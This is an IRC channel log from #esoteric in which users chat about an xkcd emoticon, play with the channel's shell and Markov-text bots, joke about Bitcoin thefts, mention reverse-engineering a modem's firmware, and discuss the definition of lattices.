:HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :something-that-isn't-in-hackego's-wisdom? ¯\(°​_o)/¯ < 1394019143 225620 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :I knew it! it's the same face as in this week's what if from xkcd! < 1394019567 774673 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :except that XKCD characters don't have eyes (or noses, or mouths) < 1394019585 117391 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :at least, I guess that's a mouth not a nose, but I'm not sure < 1394019605 968351 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :``echo It is now. > "wisdom/something-that-isn't-in-hackego's-wisdom" < 1394019606 709746 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: `echo: not found < 1394019609 703519 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :`` echo It is now. > "wisdom/something-that-isn't-in-hackego's-wisdom" < 1394019612 457786 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1394019632 827564 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :ais523: The string "¯\(°_o)/¯" is literally there in the title attribute of an image in what-if. < 1394019633 327702 :myndzi!myndzi@2600:3c00::f03c:91ff:fedf:3d4e PRIVMSG #esoteric :69                        | < 1394019633 512705 :myndzi!myndzi@2600:3c00::f03c:91ff:fedf:3d4e PRIVMSG #esoteric :69                      o/`¯º < 1394019653 143039 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :fizzie: ah right < 1394019657 338612 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(How come that got legs and boily didn't?) < 1394019658 628176 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I didn't realise what-if had alt text too < 1394019667 159357 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :fizzie: myndzi added an ignore for hackego < 1394019672 554166 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Oh, right. < 1394019675 866202 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I knew that. < 1394019682 914913 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :the "not there" face was added specifically to trigger it < 1394019704 508299 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :and so myndzi added anti-botloop protection, as is customary < 1394019719 135405 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :ACTION pokes his own legs, just to be sure of their existence < 1394019837 138810 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :hmm, it's pretty much impossible for me to be sure you have legs: you could claim you have them, but you could be lying; if you send a photo it could be of someone else; if you meet me in person, it could be someone else pretending to be boily < 1394019946 29619 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :come to think of it, I don't even know you're actually one peron < 1394019947 464570 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :*person < 1394019960 929154 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :there could be a team of people, all taking turns to pretend to be boily < 1394019971 642965 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :that'd be scary! < 1394019996 81463 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :That'd be plausible. < 1394020008 449087 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Many people here could well be collectives. < 1394020028 377030 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :fungot: Are you a single bot, or a collection of bots talking to some kind of a IRC multiplexer? < 1394020028 562109 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :fizzie: lol, the pilot is safe) got by far the biggest selling game of the games where kickass im glad they are doing this song! < 1394020060 893870 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :if you did replace fungot by a multiplexer, it would be hard for us to tell < 1394020061 115344 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :ais523: it is you think its funny when the pilot had it configured for landing < 1394020074 630229 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :^style < 1394020074 815202 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :Available: agora alice c64 ct darwin discworld enron europarl ff7 fisher fungot homestuck ic irc iwcs jargon lovecraft nethack pa qwantz sms speeches ss wp youtube* < 1394020088 351628 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :hmm, I guess one of fungot's youtube videos must have been about a plane < 1394020088 536963 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :ais523: love him. 3 < 1394020133 686538 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :so fungot loves the three airplane parts that compose him. < 1394020133 871491 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :boily: i love her < 1394020151 503842 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :fungot: which one? you remember you have two girlfriends, don't you? < 1394020151 689319 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :boily: you racist son of a fool was look up the time it would be so hard). < 1394020175 189384 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :fungot: eille! I'm perfectly fine with polyamorous relationships! < 1394020175 374481 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :boily: um, yes, i laughed my ass off at 100 ft, the actual song xd!! < 1394020197 517716 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :fungot: 100 ft isn't that high for an airplany being like you... < 1394020197 739339 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :boily: y a quand meme eu 3 mort sur les 130 apssagers. < 1394020207 868680 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :... < 1394020217 538367 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :Ō_Ō......... < 1394020231 289925 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :ACTION slinks away from fizzie's murderous bot. < 1394020275 453826 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :(translation for the lazy: “there still were three deaths in the 130 passengers.”) < 1394020279 538889 :jhj!jhj@2600:3c00::f03c:91ff:feae:3efa JOIN :#esoteric < 1394020293 570196 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :One of them was a plane crash video, yes. < 1394020330 104336 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I think we need more videos, really < 1394020342 20129 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :in order to get reasonable (or sufficiently unreasonable) output < 1394020344 688859 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :^style nethack < 1394020344 873909 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :Selected style: nethack (NetHack 3.4.3 data.base, rumors.tru, rumors.fal) < 1394020356 613353 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :let's see if fungot's more varied with this < 1394020356 857653 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :ais523: ptah: known under various names in different parts of ireland: cluricaune in cork, lurican in kerry, lurikeen in kildare and lurigadaun in tipperary. although they were sure of. < 1394020369 757593 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I guess that's mostly literal < 1394020381 880893 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :fungot: something else? < 1394020382 65965 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :ais523: amber*: " i am aware, yes." " you wouldn't like it much anyway," answered pelias cryptically. " my dear!" said the old melnibonean empire. these large groups are able to look like nothing more than a nymph knows how old this mighty wizard is even more powerful of all nations, by barry cox) < 1394020397 538308 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :yeah, this is too literal :-( < 1394020408 571697 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :might work better with only one word of context, or one and a half < 1394020429 198092 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I believe the YouTube style included comments from a total of perhaps 7 videos. < 1394020454 984700 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :right < 1394020460 561685 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :not exactly a large corpus < 1394020463 685190 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :And yes, the NetHack dataset also makes fungot copy a lot verbatim. < 1394020463 870712 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :fizzie: archon: archons are the predominant inhabitants of the spider lay dead beside him. < 1394020476 220827 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Though I didn't know archons live in spiders. < 1394020484 25051 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :^style alice < 1394020484 210284 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :Selected style: alice (Books by Lewis Carroll) < 1394020494 774665 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :`echo The string "¯\(°_o)/¯" is < 1394020495 909127 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :The string "¯\(°_o)/¯" is < 1394020506 526564 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :now what < 1394020513 82917 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :^ul (¯\(°_o)/¯)S < 1394020513 268322 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :¯\(°_o)/¯ < 1394020520 31261 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :The string "¯\(°_o)/¯" is < 1394020522 580037 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I guess myndzi's got a general ignore on all the bots < 1394020526 738920 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :or, hmm < 1394020532 430196 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i think myndzi broke < 1394020535 667434 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :good point, why did it not trigger on the /request/ < 1394020537 718208 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :\o/ < 1394020551 622987 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :the thing is, iirc myndzi _doesn't_ have an ignore on HackEgo. < 1394020555 371761 :trn!jhj@2600:3c00::f03c:91ff:feae:3efa QUIT :Ping timeout: 265 seconds < 1394020571 299823 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :right < 1394020574 961740 :ggherdov!sid11402@gateway/web/irccloud.com/x-raclbugeacizxqiu QUIT :Ping timeout: 265 seconds < 1394020576 585864 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :maybe he has throttling? < 1394020586 641836 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :ACTION therapeutically, restoratively maintenancically mapoles myndzi < 1394020586 826968 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :The "alice" style includes http://sprunge.us/JOVK < 1394020591 227680 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :fungot: opinions on this matter? < 1394020591 607582 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :ais523: " i'm strolling your way," said the hatter. he came in with a teacup in one hand and a large fan in the other compartment. if the universe of things be divided with regard to the class of " new cakes", we may call it stuff, if you must know, we used to be taught in the nursery," i echoed. " the fairy-king is fnord, fnord low, that alice quite started. < 1394020599 998256 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :no, the answer to why he didn't answer HackEgo is more devious < 1394020612 94936 :clog!~nef@bespin.org QUIT :Ping timeout: 265 seconds < 1394020615 502592 :myndzi!myndzi@2600:3c00::f03c:91ff:fedf:3d4e PRIVMSG #esoteric :69                      | < 1394020615 687576 :myndzi!myndzi@2600:3c00::f03c:91ff:fedf:3d4e PRIVMSG #esoteric :69                    º¯`\o < 1394020615 687729 :myndzi!myndzi@2600:3c00::f03c:91ff:fedf:3d4e PRIVMSG #esoteric :69                 | < 1394020615 687824 :myndzi!myndzi@2600:3c00::f03c:91ff:fedf:3d4e PRIVMSG #esoteric :69               º¯`\o < 1394020617 910075 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :oerjan: do you know it? or have you jut concluded it's devious? < 1394020618 95027 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(except that myndzi's script is obviously not working _now_) < 1394020625 949935 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :that looks like he was close to pinging out < 1394020627 530112 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :well i made it, so i know :P < 1394020638 890868 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :`echo The string "¯\(°_o)/¯" is < 1394020640 64606 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :The string "¯\(°_o)/¯" is < 1394020643 932291 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :he hasn't answered fungot either, though < 1394020644 117261 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :ais523: 4. no m' are y', and some are not-x. the lion were coming. and he shortened it up?" said bruno. " and he lets uggug take away all my fnord! and proud am i to do with you. < 1394020646 922120 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :and still is < 1394020657 835813 :myndzi!myndzi@2600:3c00::f03c:91ff:fedf:3d4e PRIVMSG #esoteric :69                      | < 1394020658 21180 :myndzi!myndzi@2600:3c00::f03c:91ff:fedf:3d4e PRIVMSG #esoteric :69                    º¯`\o < 1394020658 206302 :myndzi!myndzi@2600:3c00::f03c:91ff:fedf:3d4e PRIVMSG #esoteric :69                 | < 1394020658 206452 :myndzi!myndzi@2600:3c00::f03c:91ff:fedf:3d4e PRIVMSG #esoteric :69               º¯`\o < 1394020668 134660 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :as you see, he responded to HackEgo there < 1394020674 910744 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :yep < 1394020689 386760 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :^ul (¯\(°_o)/¯ padding)S < 1394020689 572035 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :¯\(°_o)/¯ padding < 1394020689 783555 :myndzi!myndzi@2600:3c00::f03c:91ff:fedf:3d4e PRIVMSG #esoteric :69         | < 1394020689 968508 :myndzi!myndzi@2600:3c00::f03c:91ff:fedf:3d4e PRIVMSG #esoteric :69       o/`¯º < 1394020690 153368 :myndzi!myndzi@2600:3c00::f03c:91ff:fedf:3d4e PRIVMSG #esoteric :69    | < 1394020690 153538 :myndzi!myndzi@2600:3c00::f03c:91ff:fedf:3d4e PRIVMSG #esoteric :69  º¯`\o < 1394020700 261372 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :OK, I think that explains it pretty well < 1394020717 862598 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :`? to fnordly test < 1394020718 908830 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :to fnordly test? ¯\(°​_o)/¯ < 1394020719 766407 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :else echo "$1? ¯\(°_o)/¯"; exit 1; < 1394020722 934070 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Good old 200B. < 1394020732 757940 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ACTION whistles innocently < 1394020764 671209 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :hmm, need to be careful who I copy-paste < 1394020766 390212 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oh god hammering < 1394020830 195206 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :oerjan: Thor, perhaps? < 1394020846 764689 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :thausibly. < 1394020871 913159 :boily!~boily@96.127.201.149 QUIT :Quit: INK CARTRIDGE CHICKEN < 1394021245 330107 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :fizzie: more like Loki < 1394021385 921583 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :they've been doing this bloody building work since mid November. < 1394021388 247613 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1394021424 500600 :ggherdov!sid11402@gateway/web/irccloud.com/x-ohzgeonkirmrnzby JOIN :#esoteric < 1394021511 470103 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :although i'm not sure it's still the same team as then, i cannot see them outside now. < 1394021523 912455 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 255 seconds < 1394021537 533411 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :so maybe the sound is coming from inside the house. < 1394021570 608140 :shikhout!~Shikhin@unaffiliated/shikhin QUIT :Read error: No route to host < 1394021579 175198 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :The KILLER may already be IN THE HOUSE. < 1394021620 799610 :shikhin!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1394021921 898913 :clog!~nef@bespin.org JOIN :#esoteric < 1394022251 809017 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone JOIN :#esoteric < 1394022897 758609 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Read error: Connection reset by peer < 1394022957 331766 :nooodl^!~nooodl@109.140.196.253 JOIN :#esoteric < 1394023320 786195 :shikhin!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1394024727 870062 :realzies!~pinky@unaffiliated/realazthat QUIT :Quit: realzies < 1394025085 311261 :Guest63910!~pinky@pool-74-108-116-26.nycmny.fios.verizon.net JOIN :#esoteric < 1394025539 317613 :nooodl^!~nooodl@109.140.196.253 QUIT :Ping timeout: 240 seconds < 1394026053 14903 :yorick!~yorick@oftn/member/yorick JOIN :#esoteric < 1394026244 986272 :Guest63910!~pinky@pool-74-108-116-26.nycmny.fios.verizon.net NICK :realzies < 1394026250 655149 :realzies!~pinky@pool-74-108-116-26.nycmny.fios.verizon.net QUIT :Changing host < 1394026250 840376 :realzies!~pinky@unaffiliated/realazthat JOIN :#esoteric < 1394026502 80435 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu QUIT :Ping timeout: 252 seconds < 1394026769 33253 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: leaving < 1394027874 419861 :monotone!~monotone@room208.org QUIT :Quit: Rebooting server < 1394027894 518769 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net QUIT :Read error: Connection reset by peer < 1394028031 791932 :Sorella!~queen@oftn/member/Sorella JOIN :#esoteric < 1394028124 219910 :monotone!~monotone@room208.org JOIN :#esoteric < 1394029476 763998 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1394029825 37297 :FreeFull!~freefull@defocus/sausage-lover JOIN :#esoteric < 1394030023 66018 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :http://en.wikipedia.org/wiki/Surprise_(emotion) < 1394030029 915141 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :wikipedia images are the best < 1394030473 804896 :nooodl!~nooodl@91.177.100.186 JOIN :#esoteric < 1394030493 361950 :siruf!siruf@2604:180::6050:fab4 JOIN :#esoteric < 1394030948 753463 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :MEANWHILE IN /R/BITCOIN: http://www.reddit.com/r/Bitcoin/comments/1zm1v5/today_i_logged_onto_my_computer_and_found_none_of/ < 1394031072 364833 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :oh holy shit this one's even better: http://www.reddit.com/r/Bitcoin/comments/1zlhh5/until_recently_my_only_serious_experience_with/ < 1394031137 578598 :MoALTz!~no@user-31-175-247-158.play-internet.pl QUIT :Quit: bbl < 1394031248 613115 :siruf!siruf@2604:180::6050:fab4 QUIT :Changing host < 1394031248 835728 :siruf!siruf@unaffiliated/motley JOIN :#esoteric < 1394031525 707692 :siruf!siruf@unaffiliated/motley NICK :siruf_ < 1394031544 391975 :siruf_!siruf@unaffiliated/motley NICK :siruf < 1394031721 146568 :siruf!siruf@unaffiliated/motley QUIT :Quit: leaving < 1394031757 153691 :siruf!siruf@2604:180::6050:fab4 JOIN :#esoteric < 1394031765 663476 :siruf!siruf@2604:180::6050:fab4 QUIT :Changing host < 1394031765 888180 :siruf!siruf@unaffiliated/motley JOIN :#esoteric < 1394032886 317359 :tromp_!~tromp@rtc35-245.rentec.com PRIVMSG #esoteric :is this #bitcoin-gossip now :-? < 1394032893 907759 :HackEgo!~HackEgo@162.248.166.242 QUIT :Ping timeout: 244 seconds < 1394033535 704448 :Sprocklem!~Sprocklem@199.185.88.147 JOIN :#esoteric < 1394033699 321152 :realzies!~pinky@unaffiliated/realazthat QUIT :Quit: realzies < 1394034059 49056 :Bike!~Glossina@wl-nat103.it.wsu.edu JOIN :#esoteric < 1394034080 924703 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :tromp_, no it's just that making fun of bitcoiners is great fun < 1394034144 115899 :tromp_!~tromp@rtc35-245.rentec.com PRIVMSG #esoteric :does owning 0.00004971 BTC make me a bitcoiner:-? < 1394034179 827316 :Guest91338!~pinky@unaffiliated/realazthat JOIN :#esoteric < 1394034204 20932 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :no < 1394034210 96991 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :i have more bitcoins than that i think < 1394034424 225038 :HackEgo!~HackEgo@162.248.166.242 JOIN :#esoteric < 1394034708 230475 :HackEgo!~HackEgo@162.248.166.242 QUIT :Ping timeout: 264 seconds < 1394035847 929359 :password2!~password@197.78.188.177 JOIN :#esoteric < 1394036412 841271 :password2!~password@197.78.188.177 QUIT :Ping timeout: 265 seconds < 1394036579 306320 :HackEgo!~HackEgo@162.248.166.242 JOIN :#esoteric < 1394036775 259957 :password2!~password@197.78.188.177 JOIN :#esoteric < 1394037165 763036 :nisstyre!yourstruly@oftn/member/Nisstyre QUIT :Quit: WeeChat 0.4.3 < 1394037309 790175 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :many people with lots of bitcoins make fun of bitcoiners, too < 1394037511 96745 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I was surprised at learning how many bitcoins were stored in bitcoin bank-equivalents to be stolen, in the first place < 1394037566 923402 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :like, the reason people store their money in banks is for a chance at interest (admittedly not so high nowadays), and (in the UK) for ISA limits < 1394037611 445106 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :and because a bank is safer than storing it in your house. < 1394037626 587462 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :also because piles of gold take up a lot of space < 1394037632 257547 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :(here I assume that you support the gold standard if you want to do this) < 1394037677 8206 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :right < 1394037691 308622 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I'm not sure if either of the last two theories apply to bitcoins < 1394037711 626547 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :well, the blockchain takes up a very annoying amount of disk space and it takes a long time to download < 1394037739 347916 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :but you don't need the blockchain to make transactions < 1394037740 163553 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :and there might be a lot of crappy services that host bitcoin wallets, but personal computers are rarely very secure at all... < 1394037752 851002 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :you need it to verify how much money a given person has < 1394037765 557147 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :yes, I know < 1394037775 408762 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :I just mean it's not as "simple" as downloading bitcoin-qt or whatever < 1394037781 354148 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :but admittedly there are all the alternative clients now. < 1394037794 59137 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :anyway, how many people have computers that even have disk encryption? < 1394038180 900673 :spiette!~spiette@2607:fad8:4:6:f2de:f1ff:fe66:77e5 JOIN :#esoteric < 1394038564 568488 :Guest91338!~pinky@unaffiliated/realazthat NICK :realzies < 1394038658 121820 :Slereah_!~jackal@176.222.51.233 JOIN :#esoteric < 1394038839 534326 :Slereah__!~jackal@176.222.51.233 JOIN :#esoteric < 1394038904 146876 :Slereah__!~jackal@176.222.51.233 QUIT :Read error: Connection reset by peer < 1394038920 861199 :Slereah__!~jackal@176.222.51.233 JOIN :#esoteric < 1394038932 77737 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :hi < 1394038952 140194 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :fizzie, nice "macroSD" < 1394038986 359153 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :fizzie, wish you could get larger depth of field in it though. :/ < 1394039017 940645 :Slereah_!~jackal@176.222.51.233 QUIT :Ping timeout: 240 seconds < 1394039078 938565 :Sprocklem!~Sprocklem@199.185.88.147 QUIT :Ping timeout: 252 seconds < 1394039217 838210 :Slereah__!~jackal@176.222.51.233 QUIT :Ping timeout: 244 seconds < 1394039224 159202 :Sprocklem!~Sprocklem@199.185.88.147 JOIN :#esoteric < 1394041116 258091 :password2!~password@197.78.188.177 QUIT :Ping timeout: 264 seconds < 1394041640 91630 :Slereahphone!~slereahph@80.10.159.111 JOIN :#esoteric < 1394042173 384963 :password2!~password@197.78.188.177 JOIN :#esoteric < 1394042908 109422 :password2!~password@197.78.188.177 QUIT :Ping timeout: 252 seconds < 1394042999 598993 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1394043170 781733 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1394043171 298313 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1394043315 177188 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Ping timeout: 265 seconds < 1394043661 29223 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Vorpal: I could do focus stacking with enfuse, I guess. < 1394043676 333315 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :fizzie, yeah < 1394043897 215564 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Also managed to finally write up what I found when I reverse-engineered the firmware in my VDSL2 modem back in Dec 2011, which was probably really useful to do *now*, given that I'm pretty sure they've discontinued the model already. < 1394044071 89124 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Heh < 1394044084 492704 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :fizzie, found anything interesting? < 1394044203 147467 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1394044203 485435 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Depends on the definition. I did find the hardcoded user:pass pairs for its telnet interface, which was what I was after. < 1394044293 27145 :newsham_!~chat@udp217044uds.hawaiiantel.net NICK :newsham < 1394044642 937912 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Ping timeout: 244 seconds < 1394044788 204683 :Sprocklem!~Sprocklem@199.185.88.147 QUIT :Ping timeout: 264 seconds < 1394046274 95260 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1394046435 201258 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :`thanks shachaf < 1394046436 28362 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Thanks, shachaf. Thachaf. < 1394046494 389538 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :Haneb < 1394046503 880140 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :(Help, Taneb) < 1394046536 738699 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :shachaf, someone asked me what a complete lattice was and I panicked until I suddenly remembered the training you gave me < 1394046555 889707 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :help < 1394046558 970869 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :what sup, doc < 1394046564 124255 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :did i give you training < 1394046613 437278 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :I think so < 1394046628 537591 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :At the very least you told me what a complete lattice was < 1394046692 672095 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :one that has all small limits, obviously < 1394046751 690186 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :isn't the definition of a lattice that it has all infima and suprema? < 1394046756 67104 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :wait, just small ones? < 1394046764 439193 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i thought with ais523 < 1394046783 192065 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :also that you only need either infima or suprema, they're equivalent conditions < 1394046855 991160 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :oerjan: huh? a semilattice has one but not the other < 1394046872 472076 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :well it has to be a lattice to start with < 1394046893 654118 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :oh gah, there are four different mathematical objects called lattices < 1394046921 415821 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :is there's more than one that's a kind of partial order? < 1394046948 261746 